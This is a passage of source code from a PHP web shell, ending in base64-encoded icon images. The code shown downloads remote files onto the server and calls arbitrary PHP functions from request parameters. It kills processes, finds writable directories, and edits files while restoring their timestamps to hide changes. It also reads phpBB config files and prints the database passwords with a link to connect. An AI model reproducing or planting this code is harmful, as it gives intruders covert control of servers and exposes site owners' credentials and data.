  2077.     fclose($r);
  2078.     fclose($handle);
  2079.   }
  2080.   elseif ($fsfunc=="download") {
  2081.     $text = implode('', file($arg1));
  2082.     if ($text) {
  2083.       $r = @fopen($d.$arg2,'w');
  2084.       if (fwrite($r,$text)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }
  2085.       else { echo "<div class=fxerrmsg>Couldn't write to ".$d.$arg2."!</div>"; }
  2086.       fclose($r);
  2087.     }
  2088.     else { echo "<div class=fxerrmsg>Couldn't download from $arg1!</div>";}
  2089.   }
  2090.   elseif ($fsfunc=='mkdir') {
  2091.     $thedir = $d.$arg1;
  2092.     if ($thedir != $d) {
  2093.       if (file_exists($thedir)) { echo "<b>Already exists:</b> ".htmlspecialchars($thedir); }
  2094.       elseif (!mkdir($thedir)) { echo "<b>Access denied:</b> ".htmlspecialchars($thedir); }
  2095.       else { echo "<b>Dir created:</b> ".htmlspecialchars($thedir);}
  2096.     }
  2097.     else { echo "Couldn't create current dir:<b> $thedir</b>"; }
  2098.   }
  2099.   elseif ($fsfunc=='fwritabledir') {
  2100.     function recurse_dir($dir,$max_dir) {
  2101.       global $dir_count;
  2102.       $dir_count++;
  2103.       if( $cdir = @dir($dir) ) {
  2104.         while( $entry = $cdir-> read() ) {
  2105.           if( $entry != '.' && $entry != '..' ) {
  2106.             if(is_dir($dir.$entry) && is_writable($dir.$entry) ) {
  2107.              if ($dir_count > $max_dir) { return; }
  2108.               echo "[".$dir_count."] ".$dir.$entry."\n";
  2109.               recurse_dir($dir.$entry.DIRECTORY_SEPARATOR,$max_dir);
  2110.             }
  2111.           }
  2112.         }
  2113.         $cdir->close();
  2114.       }
  2115.     }
  2116.     if (!$arg1) { $arg1 = $d; }
  2117.     if (!$arg2) { $arg2 = 10; }
  2118.     echo "<b>Writable directories (Max: $arg2) in:</b> $arg1<br>";
  2119.     echo "<pre>";
  2120.     recurse_dir($arg1,$arg2);
  2121.     echo "</pre>";
  2122.     $total = $dir_count - 1;
  2123.     echo "<b>Founds:</b> ".$total." of <b>Max</b> $arg2";
  2124.   }
  2125.   else {
  2126.     if (!$arg1) { echo "<div class=fxerrmsg>No operation! Please fill parameter [A]!</div>\n"; }
  2127.     else {
  2128.       if ($hasil = $fsfunc($arg1)) {
  2129.         echo "<b>Result of $fsfunc $arg1:</b><br>";
  2130.         if (!is_array($hasil)) { echo "$hasil\n"; }
  2131.         else {
  2132.           echo "<pre>";
  2133.           foreach ($hasil as $v) { echo $v."\n"; }
  2134.           echo "</pre>";
  2135.         }
  2136.       }
  2137.       else { echo "<div class=fxerrmsg>$fsfunc $arg1 failed!</div>\n"; }
  2138.     }
  2139.   }
  2140.   echo "</div>\n";
  2141. }
  2142.  
  2143. if ($x == "processes") {
  2144.   echo "<div class=barheader>.: Processes :.</div>";
  2145.   if (!$win) { $handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":""); }
  2146.   else { $handler = "tasklist"; }
  2147.   $ret = myshellexec($handler);
  2148.   if (!$ret) { echo "Can't execute \"".$handler."\"!"; }
  2149.   else {
  2150.     if (empty($processes_sort)) {$processes_sort = $sort_default;}
  2151.     $parsesort = parsesort($processes_sort);
  2152.     if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
  2153.     $k = $parsesort[0];
  2154.     if ($parsesort[1] != "a") {
  2155.       $y = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."x=img&img=sort_desc\" border=\"0\"></a>";
  2156.     }
  2157.     else {
  2158.       $y = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."x=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";
  2159.     }
  2160.     $ret = htmlspecialchars($ret);
  2161.     if (!$win) {
  2162.       if ($pid) {
  2163.         if (is_null($sig)) {$sig = 9;}
  2164.         echo "Sending signal ".$sig." to #".$pid."... ";
  2165.         if (posix_kill($pid,$sig)) {echo "OK.";}
  2166.         else {echo "ERROR.";}
  2167.       }
  2168.       while (ereg("  ",$ret)) {$ret = str_replace("  "," ",$ret);}
  2169.       $stack = explode("\n",$ret);
  2170.       $head = explode(" ",$stack[0]);
  2171.       unset($stack[0]);
  2172.       for($i=0;$i<count($head);$i++) {
  2173.         if ($i != $k) {$head[$i] = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";}
  2174.       }
  2175.       $prcs = array();
  2176.       foreach ($stack as $line) {
  2177.         if (!empty($line)) {
  2178.           echo "<tr>";
  2179.           $line = explode(" ",$line);
  2180.           $line[10] = join(" ",array_slice($line,10));
  2181.           $line = array_slice($line,0,11);
  2182.           if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";}
  2183.           $line[] = "<a href=\"".$surl."x=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>";
  2184.           $prcs[] = $line;
  2185.           echo "</tr>";
  2186.         }
  2187.       }
  2188.     }
  2189.     else {
  2190.       while (ereg("  ",$ret)) {$ret = str_replace("  "," ",$ret);}
  2191.       while (ereg("=",$ret)) {$ret = str_replace("=","",$ret);}
  2192.       $ret = convert_cyr_string($ret,"d","w");
  2193.       $stack = explode("\n",$ret);
  2194.       unset($stack[0],$stack[2]);
  2195.       $stack = array_values($stack);
  2196.       $stack[0]=str_replace("Image Name","ImageName",$stack[0]);
  2197.       $stack[0]=str_replace("Session Name","SessionName",$stack[0]);
  2198.       $stack[0]=str_replace("Mem Usage","MemoryUsage",$stack[0]);
  2199.       $head = explode(" ",$stack[0]);
  2200.       $stack = array_slice($stack,1);
  2201.       $head = array_values($head);
  2202.       if ($parsesort[1] != "a") { $y = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."x=img&img=sort_desc\" border=\"0\"></a>"; }
  2203.       else { $y = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."x=img&img=sort_asc\" border=\"0\"></a>"; }
  2204.       if ($k > count($head)) {$k = count($head)-1;}
  2205.       for($i=0;$i<count($head);$i++) {
  2206.         if ($i != $k) { $head[$i] = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>"; }
  2207.       }
  2208.       $prcs = array();
  2209.       unset($stack[0]);
  2210.       foreach ($stack as $line) {
  2211.         if (!empty($line)) {
  2212.           $line = explode(" ",$line);
  2213.           $line[4] = str_replace(".","",$line[4]);
  2214.           $line[4] = intval($line[4]) * 1024;
  2215.           unset($line[5]);
  2216.           $prcs[] = $line;
  2217.         }
  2218.       }
  2219.     }
  2220.     $head[$k] = "<b>".$head[$k]."</b>".$y;
  2221.     $v = $processes_sort[0];
  2222.     usort($prcs,"tabsort");
  2223.     if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}
  2224.     $tab = array();
  2225.     $tab[] = $head;
  2226.     $tab = array_merge($tab,$prcs);
  2227.     echo "<table class=explorer>";
  2228.     foreach($tab as $i=>$k) {
  2229.       echo "<tr>";
  2230.       foreach($k as $j=>$v) {
  2231.         if ($win and $i > 0 and $j == 4) {$v = view_size($v);}
  2232.         echo "<td>".$v."</td>";
  2233.       }
  2234.       echo "</tr>";
  2235.     }
  2236.     echo "</table>";
  2237.   }
  2238. }
  2239.  
  2240. if ($x == "f") {
  2241.   echo "<div align=left>";
  2242.   if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") {
  2243.     if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";}
  2244.     else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."x=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";}
  2245.   }
  2246.   else {
  2247.     $r = @file_get_contents($d.$f);
  2248.     $ext = explode(".",$f);
  2249.     $c = count($ext)-1;
  2250.     $ext = $ext[$c];
  2251.     $ext = strtolower($ext);
  2252.     $rft = "";
  2253.     foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
  2254.     if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
  2255.     if (empty($ft)) {$ft = $rft;}
  2256.     $arr = array(
  2257.         array("info","info"),
  2258.         array("html","html"),
  2259.         array("txt","txt"),
  2260.         array("Code","code"),
  2261.         array("Session","phpsess"),
  2262.         array("exe","exe"),
  2263.         array("SDB","sdb"),
  2264.         array("img","img"),
  2265.         array("ini","ini"),
  2266.         array("download","download"),
  2267.         array("notepad","notepad"),
  2268.         array("edit","edit")
  2269.     );
  2270.     echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."x=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>";
  2271.     foreach($arr as $t) {
  2272.       if ($t[1] == $rft) {echo " <a href=\"".$surl."x=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";}
  2273.       elseif ($t[1] == $ft) {echo " <a href=\"".$surl."x=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";}
  2274.       else {echo " <a href=\"".$surl."x=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";}
  2275.       echo " (<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |";
  2276.     }
  2277.     echo "<hr size=\"1\" noshade>";
  2278.     if ($ft == "info") {
  2279.       echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>";
  2280.       if (!$win) {
  2281.         echo "<tr><td><b>Owner/Group</b></td><td> ";
  2282.         $ow = posix_getpwuid(fileowner($d.$f));
  2283.         $gr = posix_getgrgid(filegroup($d.$f));
  2284.         echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
  2285.       }
  2286.       echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."x=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table>";
  2287.       $fi = fopen($d.$f,"rb");
  2288.       if ($fi) {
  2289.         if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));}
  2290.         else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
  2291.         $n = 0;
  2292.         $a0 = "00000000<br>";
  2293.         $a1 = "";
  2294.         $a2 = "";
  2295.         for ($i=0; $i<strlen($str); $i++) {
  2296.           $a1 .= sprintf("%02X",ord($str[$i]))." ";
  2297.           switch (ord($str[$i])) {
  2298.             case 0:  $a2 .= "<font>0</font>"; break;
  2299.             case 32:
  2300.             case 10:
  2301.             case 13: $a2 .= "&nbsp;"; break;
  2302.             default: $a2 .= htmlspecialchars($str[$i]);
  2303.           }
  2304.           $n++;
  2305.           if ($n == $hexdump_rows) {
  2306.             $n = 0;
  2307.             if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";}
  2308.             $a1 .= "<br>";
  2309.             $a2 .= "<br>";
  2310.           }
  2311.         }
  2312.         echo "<table border=1 bgcolor=#666666>".
  2313.              "<tr><td bgcolor=#666666>".$a0."</td>".
  2314.              "<td bgcolor=#000000>".$a1."</td>".
  2315.              "<td bgcolor=#000000>".$a2."</td>".
  2316.              "</tr></table><br>";
  2317.       }
  2318.      
  2319.    echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b>
  2320.         <nobr>[<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr>
  2321.         <nobr>[<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr>
  2322.         <nobr>[<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr>
  2323.         <nobr>[<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr>
  2324.         <P>";
  2325.   }
  2326.   elseif ($ft == "html") {
  2327.    if ($white) {@ob_clean();}
  2328.    echo $r;
  2329.    if ($white) {bogelexit();}
  2330.   }
  2331.   elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";}
  2332.   elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";}
  2333.   elseif ($ft == "phpsess") {
  2334.    echo "<pre>";
  2335.    $v = explode("|",$r);
  2336.    echo $v[0]."<br>";
  2337.    var_dump(unserialize($v[1]));
  2338.    echo "</pre>";
  2339.   }
  2340.   elseif ($ft == "exe") {
  2341.    $ext = explode(".",$f);
  2342.    $c = count($ext)-1;
  2343.    $ext = $ext[$c];
  2344.    $ext = strtolower($ext);
  2345.    $rft = "";
  2346.    foreach($exeftypes as $k=>$v)
  2347.    {
  2348.     if (in_array($ext,$v)) {$rft = $k; break;}
  2349.    }
  2350.    $cmd = str_replace("%f%",$f,$rft);
  2351.    echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=x value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>";
  2352.   }
  2353.   elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";}
  2354.   elseif ($ft == "code") {
  2355.     if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) {
  2356.       $arr = explode("\n",$r);
  2357.       if (count($arr == 18)) {
  2358.         include($d.$f);
  2359.         echo "<b>phpBB configuration is detected in this file!<br>";
  2360.         if ($dbms == "mysql4") {$dbms = "mysql";}
  2361.         if ($dbms == "mysql") {echo "<a href=\"".$surl."x=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";}
  2362.         else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by ".$sh_name.". Please, report us for fix.";}
  2363.         echo "Parameters for manual connect:<br>";
  2364.         $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
  2365.         foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";}
  2366.         echo "</b><hr size=\"1\" noshade>";
  2367.       }
  2368.     }
  2369.     echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">";
  2370.     if (!empty($white)) {@ob_clean();}
  2371.     highlight_file($d.$f);
  2372.     if (!empty($white)) {bogelexit();}
  2373.     echo "</div>";
  2374.   }
  2375.   elseif ($ft == "download") {
  2376.     @ob_clean();
  2377.     header("Content-type: application/octet-stream");
  2378.     header("Content-length: ".filesize($d.$f));
  2379.     header("Content-disposition: attachment; filename=\"".$f."\";");
  2380.     echo $r;
  2381.     exit;
  2382.   }
  2383.   elseif ($ft == "notepad") {
  2384.     @ob_clean();
  2385.     header("Content-type: text/plain");
  2386.     header("Content-disposition: attachment; filename=\"".$f.".txt\";");
  2387.     echo($r);
  2388.     exit;
  2389.   }
  2390.   elseif ($ft == "img") {
  2391.     $inf = getimagesize($d.$f);
  2392.     if (!$white) {
  2393.       if (empty($imgsize)) {$imgsize = 50;}
  2394.       $width = $inf[0]/100*$imgsize;
  2395.       $height = $inf[1]/100*$imgsize;
  2396.       echo "<center><b>Size:</b>&nbsp;";
  2397.       $sizes = array("100");
  2398.       foreach ($sizes as $v) {
  2399.         echo "<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">";
  2400.         if ($imgsize != $v ) {echo $v;}
  2401.         else {echo "<u>".$v."</u>";}
  2402.         echo "</a>&nbsp;&nbsp;&nbsp;";
  2403.       }
  2404.       echo "<br><br><img src=\"".$surl."x=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>";
  2405.     }
  2406.     else {
  2407.       @ob_clean();
  2408.       $ext = explode($f,".");
  2409.       $ext = $ext[count($ext)-1];
  2410.       header("Content-type: ".$inf["mime"]);
  2411.       readfile($d.$f);
  2412.       exit;
  2413.     }
  2414.   }
  2415.   elseif ($ft == "edit") {
  2416.    if (!empty($submit))
  2417.    {
  2418.     if ($filestealth) {$stat = stat($d.$f);}
  2419.     $fp = fopen($d.$f,"w");
  2420.     if (!$fp) {echo "<b>Can't write to file!</b>";}
  2421.     else
  2422.     {
  2423.      echo "<b>Saved!</b>";
  2424.      fwrite($fp,$edit_text);
  2425.      fclose($fp);
  2426.      if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
  2427.      $r = $edit_text;
  2428.     }
  2429.    }
  2430.    $rows = count(explode("\r\n",$r));
  2431.    if ($rows < 10) {$rows = 10;}
  2432.    if ($rows > 30) {$rows = 30;}
  2433.    echo "<form action=\"".$surl."x=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."x=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>";
  2434.   }
  2435.   elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";}
  2436.   else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";}
  2437. }
  2438. echo "</div>\n";
  2439. }
  2440. }
  2441. else {
  2442. @ob_clean();
  2443. $images = array(
  2444. "arrow_ltr"=>
  2445. "R0lGODlhJgAWAIABAP///wAAACH5BAHoAwEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQSIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",
  2446. "back"=>
  2447. "R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
  2448. "aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt".
  2449. "Wg0JADs=",
  2450. "buffer"=>
  2451. "R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo".
  2452. "eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD".
  2453. "Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==",
  2454. "change"=>
  2455. "R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+".
  2456. "/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA".
  2457. "AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC".
  2458. "wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA".
  2459. "CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL".
  2460. "zMshADs=",
  2461. "delete"=>
  2462. "R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp".
  2463. "6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw".
  2464. "sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv".
  2465. "vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl".
  2466. "ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA".
  2467. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2468. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5".
  2469. "BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4".
  2470. "STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G".
  2471. "BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ".
  2472. "jwVFHBgiEGQFIgQasYkcSbJQIAA7",
  2473. "download"=>
  2474. "R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA".
  2475. "AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu".
  2476. "EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=",
  2477. "forward"=>
  2478. "R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
  2479. "aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt".
  2480. "WqsJADs=",
  2481. "home"=>
  2482. "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA".
  2483. "AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS".
  2484. "krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j".
  2485. "VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=",
  2486. "mode"=>
  2487. "R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA".
  2488. "AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO".
  2489. "2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/".
  2490. "dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=",
  2491. "search"=>
  2492. "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//".
  2493. "/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap".
  2494. "s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD".
  2495. "AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr".
  2496. "Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==",
  2497. "setup"=>
  2498. "R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC".
  2499. "QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
  2500. "ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB".
  2501. "qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE".
  2502. "OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==",
  2503. "small_dir"=>
  2504. "R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA".
  2505. "AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp".
  2506. "/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",
  2507. "small_unk"=>
  2508. "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U".
  2509. "p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo".
  2510. "/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31".
  2511. "/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rH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A6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC".
  2525. "yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj".
  2526. "yAsokBkQADs=",
  2527. "multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR".
  2528. "pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==",
  2529. "sort_asc"=>
  2530. "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa".
  2531. "SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==",
  2532. "sort_desc"=>
  2533. "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb".
  2534. "SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=",
  2535. "sql_button_drop"=>
  2536. "R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
  2537. "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2538. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
  2539. "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
  2540. "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
